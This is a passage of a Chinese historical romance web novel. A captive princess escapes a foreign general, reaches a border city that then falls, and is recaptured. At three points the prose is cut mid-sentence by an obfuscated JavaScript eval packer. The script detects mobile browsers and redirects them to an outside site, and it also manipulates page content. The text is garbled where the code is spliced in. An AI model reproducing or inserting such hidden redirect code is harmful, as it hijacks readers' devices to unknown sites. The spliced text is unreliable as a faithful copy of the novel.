身旁的少年一身劲装,面容清秀,一举一动间神采飞扬,毫不掩饰打量着谢翊。 谢翊瞥了少年一眼,淡淡点头。 东厥王对少年道:“烈将军熟知兵法,年少有为,上次雁鸣关一役打得实在漂亮,此番你可要好好观摩,要不是……”说到这,忙止了话音,转头望向谢翊,“罢了罢了,此番咱们两族联手,定能大获全胜!” 两军当晚在城郊扎营,谢翊与东厥王商议下明日战术,便回了营帐,全然没有注意到不远处正站着一人。 东厥少年双手抱前站在营帐外,一双星眸敏锐落在谢翊身后,那人一身士兵装扮,手里端着水盆跟随颀长身影一前一后走进帘帐。 只是……这士兵的个头似乎过于娇小了些,身板也十分单薄。 “这位兄弟,请问刚才随将军进帐的那位小兄弟是什么人?”乌图一脸亲和,与守营士兵搭话。 对方见是东厥王子,丝毫不敢怠慢,忙解释:“那是咱们将军的亲信,专门贴身伺候的。” 乌图笑笑:“瞧着背影瘦小得很,能保护将军吗?” 那士兵挠挠脑袋:“王子有所不知,将军只让他近身伺候,守卫的活都是我们来做。” “这样啊……”乌图眯起眼,若有所思。 “我听说……”旁边一名士兵见状,也低声凑过来:“将军每晚都让他守夜,他也从不和其他士兵住一起,你说将军会不会……” 二人对视一眼,都没敢继续说下去。那意味深长的表情落在乌图眼里,让他暗暗挑了挑眉梢。 沈绾进帐后将水盆放下,取来棉巾帕子沾水拧干,服侍谢翊擦脸。 自从她随军以来,一直思考接来下该如何布棋。为父皇报仇自是第一要务,可若是任由拓摩攻城略地,即使杀了晋王,她也会成为大胤的罪人。让她眼睁睁看着拓摩军队攻打大胤百姓,她自问做不到。 “怎么?”男人目光锐利,一眼看穿她的重重心事,“后悔了?跟随敌军部队攻打故国,这种滋味应该不好受。” 谢翊负手而立,摇曳的烛火在眼底生起幽光,“我之前劝过你,你却一定要跟来。” 他面前是一张巨大的舆图,整个胤都连同漠云十二州全部映在眼底。 沈绾抬起头,视线随之落在舆图上,忽而一顿。 她若是能离开…… “将军。”沈绾婉顺低眉,像只无辜的小猫咪,“明日是要正式开战了吗?” 谢翊低低嗯了声,目光从舆图落到她身上,一身兵士男装穿在她身上略显宽大,将她的身板衬得越发瘦小,加上那双水灵灵的眸子,一举一动间让人怜爱得紧。 “战场上刀剑无眼,我怕是无暇顾及你。明日你便留在后方,我会派几人保护你。” 沈绾摇头:“妾身既然跟来,便不愿成为将军的负担。妾身会保护好自己。”说着,从怀中取出一枚骨牌,双手奉上,“有件东西一直想还给将军。” 描金令牌在烛光下闪着光泽,谢翊接过在手里摩挲几下,重又丢进她怀里,“这东西你暂且收着,战场上我不能时刻保护你,有它在手,我也可安心些。” 沈绾眼底闪过暗芒,又不动声色掩去,柔声道谢。 见谢翊面有倦色,沈绾转身铺好床铺,体贴提醒:“将军累了,该歇息了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599237|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 谢翊见她一脸乖巧顺从,心里没来由一堵,又不好说什么,任由她服侍自己就寝。战地营帐简陋,不过一张绒皮铺就的床榻,谢翊躺下后扫视她一眼,继而长臂一揽,将人拦腰抱入怀中。 “将军……”沈绾被吓了一跳,抬手想要挣开,可铁掌像是牢牢焊在腰间,让她动不得分毫。 “别动。”男人声音低沉,自后脑上方传来。 沈绾索性不再挣扎,任由男人抱着,紧实滚烫的胸膛贴在后背,沈绾甚至可以听见他清晰有力的心跳声。 不知过了多久,困意袭来,刚要合上沉重的眼皮,忽听男人在身后轻叹了声:“阿鸾,你到底想做什么?” 沈绾身子一僵。 帐内熄了几盏烛火,光线昏暗,明知他看不见,可她还是浅浅扯了扯唇角,“将军在说什么?” 谢翊没有回答,自顾道:“有些事情你若说出来,焉知我不会帮你?” 沈绾心中冷嗤,帮她?她沦落至今,一半是拜他所赐,她日夜所思所想,岂是他帮得了的? “时辰不早了,将军睡吧。”沈绾合上水眸,一声低叹落在耳旁,若有似无。 身后人不再说话,只静静拥着她,一夜无梦。 ** 整装待发的队伍伴着金鸣号角奔向城下,一时间战马嘶鸣声、刀剑摩擦声、士兵嘶吼声交织一片。 沈绾听了谢翊的话留守后方,战场尘土飞扬,被北风恣意一搅,吹得她眼底又涩又疼。 她站在营帐外,脑海里仔细复盘昨晚记下的舆图,对身侧几名留守士兵道:“眼下战况胶着,将军命我去前方探查其他路线,你们几个不必跟着我。” 士兵们面面相觑,尚在犹疑,沈绾忽从袖中取出骨牌,凛声道:“此乃将军之命,尔等照办就是。” 士兵们虽不太懂沈绾文邹邹的话,但还是被她凛然的气势镇住了,一时都不敢多言。何况留守后方照看一个瘦弱小兵本就令他们感到不解,这会既有将军令牌,他们自然不会违逆。 沈绾深呼了口气,果断牵出战马。她自小马术练得极好,脚踩马镫轻盈骑上马背,手心缰绳一紧,马儿便如离弦之箭飞奔出去。 快点,再快点! 她像只飞离囚笼的鸟儿,全力奔赴自由的方向。头也不回跑了几里路,确定身后无人跟踪,她立刻掉转马头,转向西南方向。 那里有座山,原叫燕衹山,因山上种满血皮槭,一到秋末初冬之际,满山艳红一片,远远望去,像女子搽了胭脂一般。幼时她随父皇来边境巡视,见到此景一时心血来潮便改名叫“胭脂山”。 若是她没记错,胭脂山山脉连接东部和南部两座城池,如果从山中穿行,便可抄近道进入蓟州城,那是雁鸣关南部守卫胤都的一道重要城池,也是漠云十二州中极为重要的关卡。 那里的总兵杨廷忠乃父皇的结义兄弟,早年八王夺嫡,正是杨廷忠和几名心腹为父皇杀出一条血路,如今他定然不知父皇身死真相,若是找他求助也许尚有一线生机。 打定主意,沈绾马不停蹄,待赶到胭脂山脚下时,万里无云的天空已不知何时布满铅云。 滚滚闷雷自天际袭来,这是要落雨了。 8. 第八章 迷津渡 赶山路最怕恶劣天气,风急雨骤,山路湿滑,难免会出意外。可沈绾顾不得许多,勒紧缰绳直往山上走。 雨丝初时细密如针,水雾般打湿眉角衣衫,可随着天色渐暗,密密扎扎的雨滴便化作噼啪豆珠,哗啦啦响成一片。 沈绾抹了把脸,视线快要被水柱模糊,她只好放缓步子,牵着马小心翼翼摸索。她这辈子没走过几回山路,山中树木茂盛,遮天蔽日,眼下更是无法辨清方位,她只能凭借直觉一路往前,生怕一旦停下,又会重入牢笼。 冰雨打湿衣料,传来透骨寒意,沈绾猛一哆嗦,打了个喷嚏。她自小身娇体贵,哪怕轻咳几声,太医院都要忙个不停,可自从被俘,什么样的苦她似乎都吃尽了。 她先前染了两次风寒,尚未大好,如今再一淋雨,这副身子也不知能撑多久,她暗暗咬了咬牙,步子未停片刻。 山路人迹罕至,被雨水这么一浇,泥土石块松软一片,顺坡而下。 “啊——” 沈绾一个不留神,脚下骤然一滑,缰绳自掌心脱离,重心极度失控带来前所未有的慌乱,她好似掉入了一个巨大漩涡,沿着山坡直直滚下。 ** 这场骤雨加速了战争进程,不过短短两个时辰,谢翊等人便成功拿下一座城池。 大军入城,乌图意气风发跟在谢翊身后,却不见这个在战场上英勇神武的男人有半分喜悦。 他上前几步与他并肩搭话:“烈将军看着似乎不太高兴?咱们方才可是大获全胜啊!” 谢翊神色无波,低冷的声音在雨声中愈发深沉:“中原有句古诗:一将功成万骨枯。既是战争,总有胜败两方,可无论哪一方获胜,都会有人为此丢了性命,不论是将士还是百姓,只不过是权力争斗的牺牲品。” 乌图似乎没料到他会说这些,眸中闪过意外:“想不到烈将军一路骁勇,竟会有这番胸襟?” 谢翊没有继续搭话,随军步入城内,他军纪严明,下令不准肆意屠戮百姓,所以并未在城中引起多大骚动。 乌图一路跟在他身后,好不容易安顿下大军,二人换下干净衣物在廊下等雨渐停。 “烈将军,你似乎对中原文化多有研究,可是早年在那里待过几年的缘故?”乌图立在他身侧,有一搭没一搭闲聊。 谢翊心不在焉应了声。他此刻一门心思皆在城外守军,虽已派人前去通传,可心头总隐隐觉得有些失重。 那位小帝姬身子不好,可别因这场雨又添了新症。 心下越想越焦闷,忽觉有人凑了上来,“烈将军,这大冷天的,你怎么出了一头汗?” 乌图随手取来干净帕子给他擦拭额角,也许只是随手一动,可他靠得过于近,近到谢翊可以看清他根根分明的睫毛,白皙细腻的皮肤,几滴水珠沿着修长脖颈流入他的领口…… 谢翊眉头一蹙,忽地后退几步,“我自己来。” 乌图不甚在意笑了笑,任他接过帕子。 “报——” 一士兵匆忙赶来,谢翊认出,这是他安排给沈绾的守卫。 男人的脸色在听到守卫说出沈绾失踪后,一瞬间黑沉下去,墨黑的瞳仁隐隐反着怒火幽光,周身气压寒凝骤结,令人却步。 修长骨节隐隐泛白,手背青筋隆起,男人满脸阴鸷,蓦地低嗤出声。 她还真有胆量! 谢翊很快捋清思路,她既然出逃,必然是回大胤,可边境四周皆是战火,若想找出一条既不引人注目又能在最快时间入城的路线,就只有…… “去把舆图拿来。”男人的脸色阴沉得快要滴出水,上下翻飞的衣摆随着阔步迈入房中。 他死死盯着舆图,视线倏然一顿,“这种天气她走不远,沿此山一路向南去寻,活要见人,死要……” 一向清冷的眼尾染上一抹猩红,不可遏制的怒意从胸腔挤出:“快去!” “是!”守卫得了令,再也不敢耽搁。 ** 骤雨终于停歇,黏腻湿滑的触感在沈绾脸颊来回舔舐,终于把她从混沌意识中拉出。 入目是一片半人高的草丛,天空依旧灰暗,铅云将散未散,红鬃马在耳边扑哧出两声热气。这匹马是谢翊亲自为她选的,性格温顺且聪慧认主,重要的是脚力和负重都十分出色,想来是她滑落山坡时马儿也跟着跑了下来。 她拍了拍马儿鬃毛,翻身爬起,后背和四肢都隐隐传来钝痛,身上淤青和擦伤肯定不会少,可她无暇顾及,踩着马镫爬上马背,大概辨认下方向后继续行进。 天将擦黑,终于在山脚下看到一处城楼的影子。明黄的灯笼高高挂在檐下,依稀可辨出“蓟州”二字。 “什么人!”还未靠近城门,早有守城士兵注意到不远处的一人一骑。 弓弦紧绷,箭镞瞄准瘦小人影,蓄势待发。沈绾于城下勒紧缰绳,马蹄止步,她虽已精疲力尽,可还是竭力高喊了声:“我乃大胤昭宁帝姬,要见杨廷忠杨总兵!” 城楼士兵私语片刻,立即有人下去通报。 不多时,巍峨城门开了条缝,一队骑兵自门内驶出,为首者豹眼长髯,身材魁梧,通身方正肃清,自有一番气度。 “杨总兵。” 火把照亮女子容颜,蓬乱发丝黏在耳边,泥浆尘土落了满身,虽狼狈至极,可依旧不掩女子俏丽的轮廓。 杨廷忠蓦然一惊:“真的是小殿下!”年年回胤都述职,他是看着沈绾长大的。 连忙将人带回城内,沈绾入城后简单梳洗一番,将在拓摩之事一一告知。 “什么!是晋王勾结拓奴,又害得陛下惨死?”杨廷忠讶然起身,在房中来回踱步。 沈绾恳切道:“杨总兵,我知你是父皇最信赖的臣子,晋王他通敌卖国,谋权篡位,此番若能成功击退拓奴,恳请杨总兵助我回京,将真相告知朝野,大白天下,否则我如何告慰父皇亡魂?” 杨廷忠深深看了沈绾一眼,眸色晦暗,“小殿下,眼下最重要的乃是击退拓奴,守住雁鸣关。既然我们已经知晓拓摩计划,那老夫便连夜飞鸽传书回京,请朝廷派兵支援。” 沈绾敏锐察觉出杨廷忠有意回避,沉声追问:“杨总兵的意思是……依旧尊晋王为君?” “那小殿下以为该当如何?”杨廷忠叹了口气,肃然道:“眼下大胤不能乱,总需要有人主持大局。若是此番不能成功击退拓奴,雁鸣关一旦攻破,大胤亡国只是时间问题,咱们现在所谈的一切都毫无意义;可若是此战咱们胜了……” 杨廷忠锐利的眼中闪过一丝幽光:“那晋王可以说是挽大厦之将倾的圣主……” 沈绾立即反驳:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599238|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此等忘恩负义、杀兄篡位之人,何谈圣主?” “小殿下难道不知先帝在位时的所作所为?” 沈绾一愣,先帝?他这是明确承认晋王的帝王身份了? 杨廷忠面色凝重,从书架暗格里拿出一本小册子:“这是你父皇在位二十年史官所书政绩,你可细细翻阅。” “先帝此人杀伐果决却也刚愎自用,当年我自愿跟随他,只因时局所迫,他虽待我不薄,可站在一个普通臣子的角度,他属实称不上一个好的君王。” 见沈绾接过史册,杨廷忠怅然道:“盛业七年,先帝迷信天象,大兴土木,致使国库空虚,恰逢江南水患,朝廷无赈灾银两,导致数万百姓流离失所;盛业十年,他宠信奸臣,党同伐异,朝廷上下结党营私者数不胜数,上下政风日渐腐糜;盛业十五年,他穷兵黩武,大肆屠戮边境各族,使得虐杀之风在京中盛行,京中贵族无不争相买卖异族罪奴……所列种种,王朝倾覆之相尽显!天下百姓亦苦之久矣!” 杨廷忠的面孔在烛焰雕刻下显得愈发肃穆。沈绾指节微颤,视线颤巍巍扫过纸页上的每个字符,耳畔只余老总兵的痛惜声:“晋王所为,通敌陷害不假、杀兄篡位也不假,可于天下百姓而言这些都不重要,谁能真正带来太平天下,实现国泰民安,才是真正民心所向。边境连年动乱,正是先帝滥施暴政所致,拓奴此番进攻虽是因晋王背信弃义,可若是他真能借机平定多年战乱,也算是功过相抵。至于当不当得了这个圣主,全看他的造化。” 杨廷忠的话字字句句似有千钧之力,砸得沈绾脑袋懵懵,她一心只想着报仇,却从未考虑过这么多利益纠缠。 她对父皇的认识,的确还太少! 她深吸了口气,定下心神:“杨总兵这番肺腑之言,沈绾受教了。可你真的以为一个为夺皇位不惜挑起战端,至边境百姓于不顾的人,能治理好这天下?” “这……”杨廷忠犹疑了,他方才分析的出发点,完全是以己度人,晋王蛰伏多年、手段卑劣,的确不像圣主品格。 他摇头叹道:“你我争论再多无用。小殿下放心,我跟随先帝多年,情谊总还是在的,此次传书回京定不会提及你分毫,只等咱们把眼前这关过去,再论以后。” 沈绾点头应下,她不是不顾大局之人,眼下拓奴的确是最最棘手之事。 当晚她被安置在总兵署衙,辗转反侧到后半夜,好不容易意识渐离,恍惚中那个熟悉的男人竟再次出现。他的面容依旧清冷邪魅,一双铁臂紧拥,带着滚烫炽热紧紧将她包围,狂乱痴缠的吻渐次落下,她猛然从梦中惊醒。 怎么会,怎么会梦见他?沈绾摸了摸热度未消的脸颊,懊悔地直锤脑袋,她怕是疯了吧!一定是这几日太过紧张,出现了幻觉。自我安慰一番后,竟是一夜无眠。 次日天蒙蒙亮,她收拾妥当走上街头,才发现全城已全部进入戒备状态,挨家挨户门窗紧闭,城墙各处皆是执坚披锐的铁甲士兵来回巡逻。 “隆隆——”一列金甲铁骑如驱雷鸣驶入城中,巡逻士兵们立刻一分为二让开道路。 沈绾抬眼望去,隔着薄薄晨雾,她看见为首高马上坐着一人,那人细眉长目,重甲银盔,身后旌旗上赫然印着“定北军”三个大字。 来人正是她的未婚驸马——定北小王爷贺骁! 9. 第九章 踏烟尘 一股凉意蔓上脊背,沈绾下意识退回几步,借着街边木棚挡住身体。 她现在无法确定贺骁立场,父皇向来看重贺氏一族,当初她肯同意下嫁,一方面是为父皇朝局考量,另一方面则是认为贺骁乃青年才俊,对她又十分殷勤,若是联姻之余又能觅得良婿,也不失为一桩好事。 可定北军镇守北境多年,晋王与拓摩勾结之事,他不可能不清楚。想到孙樾血淋淋的头颅,沈绾心头一拧。 也许定北军,才是晋王最大的底牌。 当晚杨廷忠于署衙设宴接风,沈绾一直没有露面,杨廷忠自然也未提只言片语。 “不知杨总兵是如何知晓拓奴计策?”贺骁坐于上位,摩挲手中酒盏,“眼下蓟州城附近无一兵一马,何以见得拓奴会前来突袭?” 依他看来,拓摩将主力大军全部集中在东南五城,那里地势平坦,若是得手可从后方包抄胤都,自是比直接攻击蓟州城更为高明。 杨廷忠长须一动,只说是自己派去的线人传来的消息,贺骁心中虽疑窦未消,倒也不再继续追问。 这样过了四五日,众人由最先的高度警戒到渐渐松懈,谁也不知拓奴几时会来。 这晚时值霜降,一轮弯月挂在稀疏的云层之后,灰冷的月光洒在青砖墙瓦上,平添几分幽邃寂冷。 “嗖——”一支羽箭破空而来,穿透一名守城将士的头颅,刻有异族图腾的箭尾如坟冢般立在他尚未合眼的眉心。接着又是几道利箭划破空气,檐角高挂的灯笼瞬间如折翼的蝴蝶坠落进夜色中。 “快通知总兵大人!”城楼上顿时高燃火把,击鼓示警。 杨廷忠很快赶至,放眼望去,星星点点的火光由远及近,估摸着约有两三千人。 “摆盾,放箭!”杨廷忠高声指挥,一时间城上城下乱箭如雨。 耶齐格率兵突袭,攻势猛烈,初时还得上风,可杨廷忠早有部署,再加上威名远扬的定北军坐镇,他的非主力部队自是打得艰难。 及至天明,战火渐熄,耶齐格没得到多少好处,不得不偃旗息鼓。 杨廷忠暗暗松了口气,可紧皱的眉头却始终没有松开。 贺骁望着撤退的残军心中甚是得意,当初老王爷被这群拓奴多次逼入险境,眼下他也算出了口恶气。 忽地,一道袅娜身影在眼前一闪而过,贺骁不自觉跟上去,发现那抹倩影进了总兵署衙。 “公主!”直到那身姿转入回廊,贺骁才看清女子侧颜,忙追上前将人拦下:“真的是你!” 沈绾愕然止步,她原本只是去打听战况,没想到竟还是被贺骁发现。 既然躲不掉,她索性也不回避,有些事情,她总要问清楚。 “贺王爷,好久不见。”沈绾不卑不亢,清泠泠的眸子微抬,凝望向他。 即便时过境迁,她还是一如既往地清丽出尘,矜贵的身姿没有因战乱而怯软一分。 贺骁有些不可置信,他本以为她被拓奴所囚,定然过得悲凉不堪,没想到竟会在此处见面,她除了一身素裙,竟与记忆中无差分毫。 当时他二人婚事定下后不久,老王爷突发恶疾,于战场病逝。他身为世子,顺理成章继承爵位,沈绾甚至未来得及安慰他丧父之痛,他就离开了胤都。 自那一别,物是人非,今日再见,有些话已不知该从何说起。 “贺王爷前来,是打算抓我回去向晋王请功?”沈绾先发制人,率先试探。 贺骁本欲拉她的手在空中停滞,方才因惊喜亮起的目光渐渐黯下,“我知晓你心中恨我怨我,我不敢奢求你原谅,但公主放心,我已经错过一次,绝不会再错第二次。” “我为何怨你?”沈绾冷嗤,淡漠的眼神仿佛在看一个陌生人,“从你背叛父皇、助纣为虐开始,你与我就再无牵连。当初婚约作废,从今往后,你我各走各的路。” “公主……”贺骁语塞,他的确是那个不堪的背叛者,更加不值得她原谅,本以为时间会抹平一切,可如今见了她,他竟再一次为她的美貌与气质折服,他突然发现自己竟然不想放弃。 “公主,晋王想杀的其实只有你父皇而已,如今大局已定,你随我回胤都,我们成亲,你放心,我定会竭尽所能补偿你、照顾你,护你一世周全。”他握住她的双臂,言辞切切。 沈绾掩去眸底恶心,果断拂开他的手,定定道:“我只想知道,你为何要追随晋王?” 贺骁哑然,显然不愿回答,“公主现在追究这些,还有意义吗?” 沈绾神色冷凄,“我沦落至此,就算有一天命丧黄泉,也想做个明白鬼。” “……”贺骁神色复杂,步子不觉退了两步。 “王爷——”一小将匆忙奔来,打破二人间的沉默。 “何事?”贺骁不耐烦皱眉。 “拓、拓奴大军,还、还有东厥人,大举攻城了!” “什么!”贺骁瞳仁一震,步履如风匆匆迈出署衙。 沈绾的心脏没来由开始狂跳,拓摩大军不是在东边吗?怎会这么快赶来蓟州?难不成…… 想到男人阴鸷的脸庞,她不由打了个寒颤。 滚滚烟尘蔽日,两军交战于城下,嘶吼声、拼杀声震天响。杨廷忠猛然意识到,如今的拓摩已不是当年任人宰割的草原部落,骑兵们个个骁勇善战,斗志昂扬。最重要的是,他们那极强的向心力和无畏拼杀的冲劲与狠劲,简直令人叹为观止。 大胤守军与之相比,显然相形见绌。 “大人,怕是顶不住了!”身边副将背抵城墙惊恐道。 杨廷忠抬眼望去,只见城下那些拓摩人似是不要命般直冲城门,铁柱与木板疯狂撞击,轰响声震耳欲聋。 “顶住,快顶住!”贺骁浑身是血嘶声指挥,全然失了仪态。他方才在城下直迎拓摩大军,没想到竟大败而归,曾经威名赫赫的定北军竟在方才一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599239|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 役中死伤大半。 他不禁想起交战时为首那个拓摩男人冷厉嗜血的目光,像是头找寻丢失猎物的恶狼,一招一式间的狠劲与疯劲,令人胆寒。 他似乎在哪见过他? 沈绾被四处逃窜的百姓挤在人潮中,寸步难行,耳边忽然传来“砰”地一声,城门居然被敌军撞开了! “小殿下,快跟我走!”有人从身侧拉了她一把,沈绾惊愕回头,是杨廷忠身边的那名副将。 “大人说蓟州城怕是保不住了,让属下赶紧带您离开!” 沈绾跟随副将避开人潮,极速穿行在街头小巷,不经回头一看,只见城门大开处,已是利刃与哀嚎齐飞,血雾共残阳一色。 ** 二人未敢耽误,一路沿后门出了城。 “周副将,我们这是要去哪?”沈绾喘得上气不接下气。 “往南,去谷烽堡。”周副将不知从哪找来两匹战马,边将缰绳递给沈绾边道:“那里的总兵与我家大人是刎颈之交,我们快马加鞭,也可将战况速速告知。” “嗯。”沈绾稍作迟疑,牵住缰绳正要走,忽听身后传来一阵急促马蹄。 “公主!”贺骁领着一路残兵追上来,原来他竟也趁乱离城,那城中岂非只有杨总兵一人! “我送你去谷烽堡。”贺骁冷声开口。 沈绾秀眉一蹙,质问道:“王爷就这样弃城不顾?岂是将者所为?” 贺骁不以为然:“留得青山在,不怕没柴烧,我不过是审时度势,保留力量,等到了下一站自可从长计议。” 好一个审时度势!沈绾心下彻底了然。此人自私自利,精明利己,想必当初也是这般投诚晋王。 “不敢劳烦王爷,我与周副将自己会走。”沈绾调转马头,不想再理会,可对方却蓦然拉过她手中缰绳。 “公主可要认清形势,如今你孤身一人,可摆脱不了我!”贺骁目露凶色,一场大败似乎彻底撕开了他的精心伪装。 这般佳人,老天既然重新让她出现在面前,他又岂会轻易放手? “你……”沈绾怒极,“放开!” 男人还欲纠缠,一支墨黑羽箭猝然划过凌空,直直穿过手掌,将他击落马下。 一切发生的猝不及防,贺骁落马前不忘抬手一拽,竟将沈绾也拖拽下马。 在地上滚了两圈,沈绾方才停下,顺着箭矢方向愕然望去,只见夜夜出现在梦中的男人端坐于马上,高大挺拔的身影被秋阳带出阴影,正徐徐逆光而来。 马蹄声由远及近,仿若擂鼓,一下下锤在她心头。 周遭一切全部停滞,天地间似乎只剩下她与他。 马蹄声渐近,男人于她身前停下,一双暗眸紧紧落在她身上,再未移动分毫。沈绾恍惚又想起初见时的情景,他的眼神一如当初炙热。 谢翊缓缓弯下腰,抬手钳起她的下巴,笑得邪戾:“阿鸾,逃跑好玩吗?” 10. 第十章 怜卿卿 耳畔风声萧萧,青丝在烟尘中凌乱飘舞,沈绾全身的血液仿佛凝结,所有力气被瞬间抽走。 “砰——”一道炸响如平地惊雷,沈绾猛地一惊,如同受惊的小鹿不知所措。谢翊旋身下马,长臂一揽,将人整个护入怀中。 滚滚浓烟渐散,贺骁连同几个残兵部队早已不见踪影。 “将军,人跑了!” 有将士欲要去追,却被谢翊拦下,“穷寇莫追,他们成不了气候。” 说完,拦腰将怀中人抱上马背。结实有力的胸膛自身后贴来,带着强劲有力的心跳,一声声落在沈绾心头。 男人满面森寒,沈绾只一偏头,便落进他波涛汹涌的眼中。她心虚地垂下眸,惊恐、无助、绝望、尴尬,各种情绪交织奔涌,刺激得太阳穴嗡嗡直跳。 也许这回,她真的完了! 谢翊不发一言,一路驾马将人带回城中,刚踏进城门,刺鼻的血腥气扑面而来,整个蓟州城已是一片死寂。 残尸断臂,飞颅血浆,赫然铺在眼底,沈绾浑身仿佛被千万根细针扎过,密密麻麻的痛意从眼底落至心底。 那些尸体有些是大胤百姓,有些是拓摩士兵,可无论是哪一方,此刻都如糜/烂的腐肉,静静等着掩埋销融。 “大人!”抵达前方城门时,一路被押的周副将蓦然大叫出声。 沈绾循声望去,只见杨廷忠鬓发散乱,豹眼紧瞪,倒在前方高台上。嘴角大片血渍混着尘土淹没进花白胡须里,颈侧的殷红尚未干涸,汩汩血流在身下洇出一片血泊。 指尖掐进掌心,沈绾瞳仁一缩,谢翊不觉皱眉解释:“殉城了。” 男人的声音无波无澜,却在沈绾清浅的瞳仁里激起千层涟漪,铺天盖地的绝望涌上,她快要窒息。 “阿烈!”耶齐格精神抖擞,驾着高马而来,一双鹰眸闪出胜利者的光芒,“多亏你及时赶到,要不然真不知几时才能破城。” 谢翊薄唇紧抿,没有作声。于拓摩汗王而言,这是极为失礼的表现,好在耶齐格尚沉浸在喜悦中,并未追究。 代鄯见状忙道:“此番我拓摩成功拿下蓟州城,拓汗和将军两相配合,着实精彩。如今雁鸣关只剩最后一道防线,不足为惧,我大军整顿两日,自可挥师南下,直取大胤都城!” “军事说得在理!”耶齐格心情大好,对代鄯和谢翊更是礼贤下士,极尽贤主之能事。 目光不经一顿,落在一身女装的沈绾身上,“这是……” “哦,将军想着胤朝这位小帝姬也许会思念故土,顺道就把她带来了。”代鄯微微一顿,笑道,“弱女子而已,将军怜香惜玉,身边多个人伺候也是好事。” 耶齐格眉头微动,咂舌道:“没想到阿烈这般离不开她……” 代鄯向谢翊递了个眼色,后者拢了拢怀中人,方道:“拓汗恕罪,军营不可带女眷,我这就遣她回去。” 耶齐格摆摆手,和颜悦色道:“罢了,既带来了,就留着吧。等咱们入了胤都,也好叫她好好看看故土!哈哈哈哈……” 冷诮笑声伴着马蹄消逝在风里,当晚,士兵们直至子时才清理完城中死尸,烈烈北风刮过,腥气如一尾四处逃窜的游鱼,散落进街头巷陌,久久不曾消散。 谢翊掩上门窗,换上一件浅灰交领棉袍,墨发高束,一身中原打扮冲淡了白日的肃杀戾气。 他将烛台移至床榻旁,单腿屈膝跪地,半伏在沈绾身前。长指小心翼翼掀开腿弯衣裙,入目皮肤柔腻如脂玉,只是上面布满瘀青血痕,青青紫紫,甚是骇人。 谢翊心脏猛地一痛,眸底更是幽暗得吓人,仿佛淬满炼狱幽火,却在触到沈绾寂冷的眼神时悄然湮灭。 她像个丢了灵魂的娃娃,一路上任他摆弄,竟是不发一声。 谢翊最见不得她这样,明明是她出逃在先,现在他好不容易找到她,重话还没来得及说两句,就被她这样子弄的手足无措,好像他所有的怒火在她面前都烧不起来。 “怎么?才几日不见,话也不会说了?”谢翊声线冷淡,可手上却极尽温柔,取来棉巾沾上温水,一点点给她清洗伤口。 见她沉默,谢翊泄气般小声道:“你个没良心,骗我把你带出来,结果说跑就跑,害我担心了好几日,早就知道就该把你关起来……” 沈绾咬紧下唇,不知是有意还是无意,一丝血珠渗出,洇洇挂在唇角。 “我开玩笑的,咬唇做什么?”谢翊不由皱眉,连忙止了话音,指腹覆上朱唇轻拭,“跑就跑吧,怎么把自己弄成这个样子,战场凶险,若是有个什么万一……” 话音在嘴边打了弯,视线落在她的伤口处,墨色瞳仁不由染了上一抹悲色。莫说她有个万一,就是她现在这个样子,他也心疼得快要喘不过气。 “你们还会杀人吗?”她低低道,声音飘落在空中,好像随时都会消散,“会杀了周副将吗?” 谢翊感到一阵无力,他费尽心力找到她、照顾她,毫不容易等她开口说话,没想到第一句竟是关心旁人。 少女神情空洞,仿佛方才只是她随口一问。 “你想我杀他吗?”谢翊凝望向她,递来药碗,“乖乖把药喝了,我就不杀他。” 他本想借机逗她,想让她像往常一样指责他、恳求他,可沈绾依旧没有接话,一双冷眸只定定看着他,那样冰寒、冷漠,简直快要将他冻化了。 他受不了她的眼神,心中无声叹息,只得柔声妥协:“逗你的,不杀他,我向你保证,只要他肯就范,就一定不会杀他。” 沈绾盯了他半晌,在确定他所言不虚后才缓缓回过神。 谢翊低头在她伤口处吹了吹,细细敷上药粉,一个不小心,绷带触及伤口,沈绾终于感到疼意,痛呼出声:“嘶——好疼……” “抱歉,我……”谢翊自责皱眉,在听到沈绾娇声娇气的声音后豁然定下心神,俊眉轻挑:“你还知道疼?” 少女低垂的眼珠轻转,再抬起,已是满眼委屈,像只畏缩可怜的小猫,“你方才手劲有些大……” 谢翊被她气笑,抬手在她额头轻敲一记,“耍我?” “才没有……”沈绾摸摸额头,一双美眸轻眨,不知不觉竟泛起水雾。 谢翊见她泫然欲泣,心头蓦地一软,“我又没说什么,怎么哭了?” 印象中的她皎皎如高悬明月,骄傲倔强,很少会流泪,可自从胤帝身死,她似乎变了许多,时而娇气柔弱,时而坚韧冷漠,谢翊有时甚至分不清,到底哪个才是真正的她? 大掌抚过侧脸,滚烫泪珠滑过掌心,一路疼到心底,疼得他心慌意乱。 他哑声道:“别哭了好不好?再哭,我怕会忍不住吻你。” 